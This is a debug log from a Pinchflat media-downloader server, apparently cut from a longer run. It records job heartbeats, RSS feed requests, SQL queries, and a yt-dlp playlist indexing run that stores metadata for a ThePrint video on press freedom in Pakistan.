{"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.281 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:24.581 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:03:24.581 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:03:24.583 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1583.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:03:24.586 [debug] QUERY OK source="media_items" db=2.1ms queue=0.4ms idle=648.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:03:24.588 [debug] QUERY OK source="source_metadata" db=0.5ms idle=588.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:03:24.589 [debug] QUERY OK source="media_metadata" db=0.8ms idle=589.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:03:24.590 [info] Sent 200 in 8ms 16:03:28.210 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:58.213 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.282 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:28.215 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:58.217 [info] {"source":"oban","duration":1807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.285 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:28.220 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:58.222 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.286 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:28.225 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:58.227 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.288 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:04.487 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:07:04.487 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:07:04.488 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=456.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:07:04.490 [debug] QUERY OK source="media_items" db=1.2ms queue=0.5ms idle=457.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:07:04.493 [debug] QUERY OK source="source_metadata" db=1.7ms queue=0.1ms idle=460.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:07:04.495 [debug] QUERY OK source="media_metadata" db=1.1ms queue=0.3ms idle=462.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:07:04.496 [info] Sent 200 in 9ms 16:07:28.229 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:43.621 [info] {"args":{"id":1},"id":86,"meta":{},"system_time":1768061263619905703,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 16:07:43.623 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1591.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:43.625 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1592.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.628 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1056.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:07:43.629 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=39.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 16:07:43.630 [debug] QUERY OK source="media_profiles" db=1.1ms idle=10.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:43.633 [debug] QUERY OK source="settings" db=0.8ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.672 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 16:07:43.673 [debug] Current batch of media processed. Will check again in 1000ms 16:07:43.674 [debug] QUERY OK source="settings" db=1.3ms queue=0.2ms idle=47.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.676 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=46.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.677 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=47.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:43.721 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9e/8f/9e8f94e767970379b6affb43453d16db4e42554c14e77f4b029b50c53d755d6b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:07:44.674 [debug] Current batch of media processed. Will check again in 1000ms 16:07:45.675 [debug] Current batch of media processed. Will check again in 1000ms 16:07:46.676 [debug] Current batch of media processed. Will check again in 1000ms 16:07:47.677 [debug] Current batch of media processed. Will check again in 1000ms 16:07:48.679 [debug] Current batch of media processed. Will check again in 1000ms 16:07:49.683 [debug] Current batch of media processed. Will check again in 1000ms 16:07:50.685 [debug] Current batch of media processed. Will check again in 1000ms 16:07:51.686 [debug] Current batch of media processed. Will check again in 1000ms 16:07:52.688 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 16:07:52.734 [debug] QUERY OK source="sources" db=43.9ms queue=0.2ms idle=1657.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 16:07:52.738 [debug] QUERY OK source="sources" db=2.4ms queue=0.2ms idle=1703.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:52.787 [debug] QUERY OK source="media_items" db=46.9ms queue=1.0ms idle=1707.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 16:07:52.864 [debug] QUERY OK source="media_items" db=28.2ms queue=0.5ms idle=1153.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "11811aa8-8040-4bde-8b6f-a90366de98e8", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 16:07:52Z], ~U[2026-01-10 16:07:52Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 16:07:52.868 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=203.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:52.886 [debug] QUERY OK source="media_profiles" db=16.3ms queue=0.2ms idle=135.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:52.888 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=149.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 16:07:52.889 [debug] Current batch of media processed. Will check again in 1000ms 16:07:53.890 [debug] Current batch of media processed. Will check again in 1000ms 16:07:54.892 [debug] Current batch of media processed. Will check again in 1000ms 16:07:55.894 [debug] Current batch of media processed. Will check again in 1000ms 16:07:56.219 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9e/8f/9e8f94e767970379b6affb43453d16db4e42554c14e77f4b029b50c53d755d6b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:07:56.220 [debug] Gracefully stopping file follower 16:07:56.222 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=545.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 16:07:56.224 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=191.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:56.226 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=193.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 16:07:56.229 [debug] QUERY OK source="media_items" db=2.0ms idle=194.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "b733f773-e938-4298-9f7b-05dd7acdb663", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 16:07:56Z], ~U[2026-01-10 16:07:56Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 16:07:56.277 [debug] QUERY OK source="sources" db=1.0ms queue=0.4ms idle=243.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:56.279 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=55.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 16:07:56.326 [debug] QUERY OK source="media_items" db=11.0ms idle=55.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE 